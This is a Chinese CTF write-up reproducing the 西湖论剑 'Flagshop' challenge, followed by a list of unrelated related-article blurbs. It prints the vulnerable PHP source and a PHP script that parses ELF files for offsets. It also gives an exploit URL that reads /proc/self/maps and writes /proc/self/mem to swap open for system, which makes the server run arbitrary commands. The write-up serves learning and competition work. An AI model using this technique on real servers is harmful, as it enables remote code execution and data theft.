西湖论剑 Flagshop 分析复现

news2024/12/24 10:24:38

前言

  • 比赛时候没能做出来,其实这道题就是一道pwn题。后面与p w n师傅讨论分析EXP分析还原了解题过程。学到了很多,也希望分享给大家。

任意文件读取

  • 抓包或者看源码就会发现有一个SSRF,但是没有权限读flag,测试发现存在一个readflag的elf文件。

 

  • 读取题目全部源码:

backend.php

<?php

$offset = isset($_GET['offset']) ? $_GET['offset'] : 0;
$buffer = isset($_GET['buffer']) ? $_GET['buffer'] : "";

if (isset($_GET['writefile'])) {
    $fp = fopen($_GET['writefile'], "a");
    fseek($fp, $offset);
    fwrite($fp, $buffer);
    fclose($fp);
}

if (isset($_GET['readfile'])) {
    echo file_get_contents($_GET['readfile']);
}
?>

index.php

<?php

if(!isset($_COOKIE['sandbox'])) {
  $uuid = system("/var/www/html/copy");
  setcookie("sandbox", $uuid);
  header("Location: sandbox/".$uuid);
} else {
  header("Location: sandbox/".$_COOKIE['sandbox']);
}

文件写入

  • 从源码可以知道,这里是存在一个文件写入的问题,但是测试和对copy这个elf文件反编译发现,网站根目录是没有写入权限的。但是测试发现tmp目录是可写的。

  • 做到这里基本没思路了。后面看了下Nul1的wp,发现这就是这道pwn题改的。(https://www.pianshen.com/article/4537767804/)

内存泄露和动态链接库

/proc/self/maps

包含了当前进程映射的内存区域以及他们的访问权限.文件格式如下:

address           perms offset  dev   inode   pathname
08048000-08056000 r-xp 00000000 03:0c 64593   /usr/sbin/gpm
08056000-08058000 rw-p 0000d000 03:0c 64593   /usr/sbin/gpm
08058000-0805b000 rwxp 00000000 00:00 0
40000000-40013000 r-xp 00000000 03:0c 4165    /lib/ld-2.2.4.so
40013000-40015000 rw-p 00012000 03:0c 4165    /lib/ld-2.2.4.so
4001f000-40135000 r-xp 00000000 03:0c 45494   /lib/libc-2.2.4.so
40135000-4013e000 rw-p 00115000 03:0c 45494   /lib/libc-2.2.4.so
4013e000-40142000 rw-p 00000000 00:00 0
bffff000-c0000000 rwxp 00000000 00:00 0
  • 通过SSRF漏洞直接读取/proc/self/maps来泄露当前程序调用的到动态链接库和内存地址。

 

  • 直接把/lib/x86_64-linux-gnu/libc-2.19.so通过SSRF读取然后下载下来,通过readelf来查看system的地址。可以得知system函数的偏移是:0x0000000000046590

 

  • 我们将动态链接库的地址加上system的偏移就能计算出system函数的地址。

<?php
echo dechex(0x7ffff5f40000+0x0000000000046590);
//system函数结果:0x7ffff5f86590
?>

计算偏移

  • 我们知道system函数的地址,我们就可以将open函数的地址替换为system函数的地址,我们在file_get_contents传入参数为系统命令实际执行的却是system函数,这样我们将readflag的结果输出到文件,或者反弹shell。这样我们下一步就是要计算open函数在二进制文件中的实际偏移,最后直接修改内存。

  • 这里需要用到/proc/self/exe

在Linux2.2的内核及其之后,/proc/pid/exe是直接执行的二进制文件的符号链接.这个符号链接能够被取消.尝试打开这个文件就相当与打开了二进制文件,甚至可以通过重新输入/proc/pid/exe重新运行一个对应于pid的二进制文件.在一个多线程的程序中,如果主线程已经退出了,就无法访问这个符号链接.

在Linux2.0及其之前,/proc/pid/exe是指向当前进程执行的二进制文件.

  • 同样我们之间将其搞下来,用下面脚本来计算open函数的偏移。

<?php
function packlli($value) {
    $higher = ($value & 0xffffffff00000000) >> 32;
    $lower = $value & 0x00000000ffffffff;
    return pack('V2', $lower, $higher);
}

function unp($value) {
    return hexdec(bin2hex(strrev($value)));
}
function parseelf($bin_ver, $rela = false) {
    $bin = file_get_contents($bin_ver);
    $e_shoff = unp(substr($bin, 0x28, 8));
    $e_shentsize = unp(substr($bin, 0x3a, 2));
    $e_shnum = unp(substr($bin, 0x3c, 2));
    $e_shstrndx = unp(substr($bin, 0x3e, 2));

    for($i = 0; $i < $e_shnum; $i += 1) {
        $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
        if($sh_type == 11) { // SHT_DYNSYM 
            $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
            $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
        }
        elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
            $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
        }
        elseif($rela && $sh_type == 4) { // SHT_RELA
            $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
            $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
        }
    }

    if($rela) {
        for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
            $r_offset = unp(substr($bin, $i, 8));
            $r_info = unp(substr($bin, $i + 8, 8)) >> 32;
            $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
            $name = '';
            $j = $strtab_off + $name_off - 1;
            while($bin[++$j] != "\0") {
                $name .= $bin[$j];
                
            }
  
            if($name == 'open') {
                return $r_offset;
            }
        }
    }
    else {
        for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
            $name_off = unp(substr($bin, $i, 4));
            $name = '';
            $j = $strtab_off + $name_off - 1;
            while($bin[++$j] != "\0") {
                $name .= $bin[$j];
            }
            if($name == '__libc_system') {
                $system_offset = unp(substr($bin, $i + 8, 8));
            }
            if($name == '__open') {
                $open_offset = unp(substr($bin, $i + 8, 8));
            }
        }
        return array($system_offset, $open_offset);
    }
}
$open_php = parseelf('exe', true);
//$maps = file_get_contents('lib.txt');
//$pie_base =(hexdec(explode('-', $maps)[0]));
echo $open_php;
//结果:15333784
?>

修改进程内存

/proc/self/mem是进程的内存内容,通过修改该文件相当于直接修改当前进程的内存。该文件不能直接读取,需要结合maps的映射信息来确定读的偏移值。即无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取内存内容。

  • 也就是说我们刚才从maps和动态链接库计算出system的地址需要修改mem来使得open的地址变成system的地址。既然我们偏移地址和文件偏移都算出来了直接构造payload即可。

backend.php?readfile=/readflag>/tmp/i_o_u_hlq&writefile=/proc/self/mem&buffer=%90%65%f8%f5%ff%7f&offset=15333784
  • 直接读取/tmp/i_o_u_hlq就可以直接getflag

 

参考

  • Nu1L 西湖论剑wp

  • https://blog.spoock.com/2019/10/08/proc/

  • https://www.pianshen.com/article/4537767804/

相关实验

  • PWN综合练习(三)

  • https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015111814141500001

  • CTF PWN进阶训练实战,基于两次缓冲区溢出来获取服务器控制权限。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/71788.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

全网惟一面向软件测试人员的Python基础教程-为什么要学Python

全网惟一面向软件测试人员的Python基础教程 起点&#xff1a;python软件测试实战宝典》目录 第一章 为什么软件测试人员要学习Python 文章目录全网惟一面向软件测试人员的Python基础教程前言一、Python是什么&#xff1f;二、为什么要学二、测试人员如何学二、怎么从0开始学Py…

旅行路线可视化研究与实现(Java+Android+Eclipse实现的旅游APP)

目 录 1 概论 1 1.1 研究现状 1 1.2 系统开发意义 1 1.3 系统开发背景 2 2 开发环境以及相关技术 5 2.1 Eclipse 5 2.2 Adroid 5 2.2.1 基本概念 5 2.2.2 简介 6 2.2.3 系统架构 6 2.2.4 四大组件 7 2.3 Java语言 7 2.4 SQLite 7 2.4.1 简介 7 2.4.2 架构 7 2.4.3 特点 8 2.5 F…

《Redis 深度历险:核心原理与应用实践》学习

1、Redis的5种基础数据结构 Redis的5种基础数据结构&#xff1a;string (字符串&#xff09;、list (列表 &#xff09;、hash (字典&#xff09;、 set (集合&#xff09;、zset (有序集合&#xff09;。 Redis所有的数据结构都以唯一的key字符串作为名称&#xff0c; 然后通…

基于粒子群优化算法的边缘链接用于边缘检测(Matlab代码实现)

&#x1f468;‍&#x1f393;个人主页&#xff1a;研学社的博客 &#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜…

艾美捷FLIVO探针:用于细胞活体凋亡检测,助力科研!

细胞凋亡在胚胎发育、造血、免疫系统的成熟以及维护正常组织和器官的细胞恒定与生长平衡&#xff0c;乃至机体衰老方面都起着重要作用。因此&#xff0c;有关凋亡的研究在临床和基础等各个领域已经广泛开展,凋亡细胞的检测方法显得非常重要。 FLIVO(荧光活体)是一种强大的无创检…

首个搭载8MP摄像头的单SoC行泊一体方案来袭,已拿下多家车企定点

行泊一体正在进入前装规模化上车的关键周期&#xff0c;但同时产品的升级战争也在全面爆发。 《高工智能汽车》了解到&#xff0c;国内领先的智能驾驶技术供应商——AutoBrain重磅推出了国内首个搭载800万像素摄像头的单SoC行泊一体方案。据悉&#xff0c;这是全球量产首发搭载…

dubbo消费者访问不到docker里面的生产者

版本 dubbo3.0.7 Docker version 20.10.21, build baeda1f docker zookeeper lastest 背景 一个dubbo的项目&#xff0c;生产者和消费者之间使用zookeeper管理。 现将消者和zookeeper部署到了docker中&#xff0c;二者使用的都是桥接网络。 消费者仍然在idea中编写逻辑。 服…

正片工艺、负片工艺,这两种PCB生产工艺的差异到底是什么?

在前文《什么是加成法、减成法与半加成法&#xff1f;》中&#xff0c;我们提到&#xff1a;减成法仍为当前PCB生产工艺的主流&#xff0c;那么&#xff0c;其中的两大代表工艺——正片工艺、负片工艺&#xff0c;又是怎样的呢&#xff1f; 请看下图&#xff1a; 当然&#xf…

一起用Go做一个小游戏(下)

打包资源使用file2byteslice包我们可以将图片和config.json文件打包进二进制程序中&#xff0c;之后编译生成一个二进制程序。然后拷贝这一个文件即可&#xff0c;不用再拷贝图片和其他配置文件了。golang有很多第三方包可以将打包资源&#xff0c;原理其实很简单——读取资源文…

面试官:使用 RocketMQ 怎么进行灰度发布?

今天来聊一聊 RocketMQ 的灰度方案。 灰度发布是指在黑与白之间&#xff0c;平滑过渡的一种发布方式。在大流量的系统中&#xff0c;如果一次升级改造范围比较大&#xff0c;或者影响内容不太确定&#xff0c;一般会采用切量的方式进行升级&#xff0c;这样可以减少生产变更带…

面试官:MySQL 中 varchar(n) 中 n 最大取值为多少?

前置知识 要回答这个问题&#xff0c;首先我们得先知道 MySQL 存储一条记录的格式长什么样子。 以 Compact 行格式作为例子&#xff0c;它长这样&#xff1a; 可以看到&#xff0c;一条完整的记录分为「记录的额外信息」和「记录的真实数据」两个部分。 这里重点讲讲记录的…

探究L298N模块烧毁的原因

目录 基础介绍 代码思路 基础介绍 L298N电机驱动版主要由两个核心组件构成&#xff1a; L298N 驱动芯片78M05 稳压器型号&#xff1a; L298N封装&#xff1a; Multiwatt15V 描述&#xff1a;电源电压&#xff1a;4.5V~46V 特性&#xff1a;过流保护(OCP)&#xff1b;过热保…

在线教程 | 用「网红项目」DeepSOCIAL 进行社交距离监测

By 超神经 内容一览&#xff1a;YOLO v4 是一个实时的、高精度的目标检测模型&#xff0c;本教程将详细讲解如何基于 YOLO v4 和 SORT 算法&#xff0c;实现在多目标条件下的人群距离检测。 关键词&#xff1a;YOLO v4 SORT 多目标检测 新冠疫情爆发初期&#xff0c;「保持…

VSCODE安装ChatGPT插件

zh1&#xff1a;首先在插件商店搜索ChatGPT中文版 然后点击安装就可以 2&#xff1a;chatGPT插件目前需要登陆账号才能使用&#xff0c;官方介绍下一个版本会有升级(不需要登陆) a:前往 ChatGPT 并登录或注册。 首先要先注册&#xff0c;注册的时候邮箱号可以填国内的也可以用…

利他合作,共赢未来 | 数商云全国渠道代理商招募政策发布

12月2日下午&#xff0c;以“利他合作&#xff0c;共赢未来”为主题的数商云全国渠道代理商招募政策发布会在广州顺利召开&#xff0c;与线上线下来自全国各地区的60家优质厂商共同解读数商云首次公开的招商政策、深入体验数商云全线产品体系&#xff0c;挖掘千亿数字化采购市场…

leecode#有效的电话号码#第十行#上升的温度

题目描述&#xff1a; 给定一个包含电话号码列表&#xff08;一行一个电话号码&#xff09;的文本文件 file.txt&#xff0c;写一个单行 bash 脚本输出所有有效的电话号码。 你可以假设一个有效的电话号码必须满足以下两种格式&#xff1a; (xxx) xxx-xxxx 或 xxx-xxx-xxxx。…

20个有用的Excel数据分析函数(教程含案例)

Microsoft Excel 是一种简单而强大的数据分析工具。Excel 是当今行业中广泛使用的软件应用程序,用于生成报告和业务洞察。Excel 包含超过 450 个函数,并且每年都会添加更多函数。在这里,我们介绍了那些主要用于数据分析的功能。 MAX/MIN MAX和MIN函数顾名思义。MAX将找到范…

零基础CSS入门教程(8)——CSS设置字体

本章目录1.任务目标2.css设置字体3.代码演示4.小结1.任务目标 我们前几个小结学习了&#xff0c;css的选择器&#xff0c;和及基本的改变字体颜色。我们这一小结学习一下设置字体的一些功能 2.css设置字体 (1)font-size这个是设置字体大小&#xff0c;浏览器一般默认字体是1…

剪映专业版常用快捷键(Pr 习惯)

剪映专业版提供了两组常用快捷键&#xff0c;一组适应 Final Cut Pro X 用户的习惯&#xff0c;另一组则是为了适应 Adobe Premiere Pro 用户的习惯。本文列出了剪映专业版&#xff08;v3.6&#xff09;的常用快捷键&#xff0c;以让 Pr 用户快速上手剪映。时间线相关快捷键分割…

无接触体征监测的技术和应用

近年来&#xff0c;由于传感器和微电子技术的飞速发展&#xff0c;基于智能传感器的无接触体征监测技术成为研究热点。尤其是近年来传感器技术和人工智能算法的不断创新&#xff0c;使人们在对人体生理、生化参数等进行监测时能够达到实时、精确和智能化的目的。 智能传感器主要…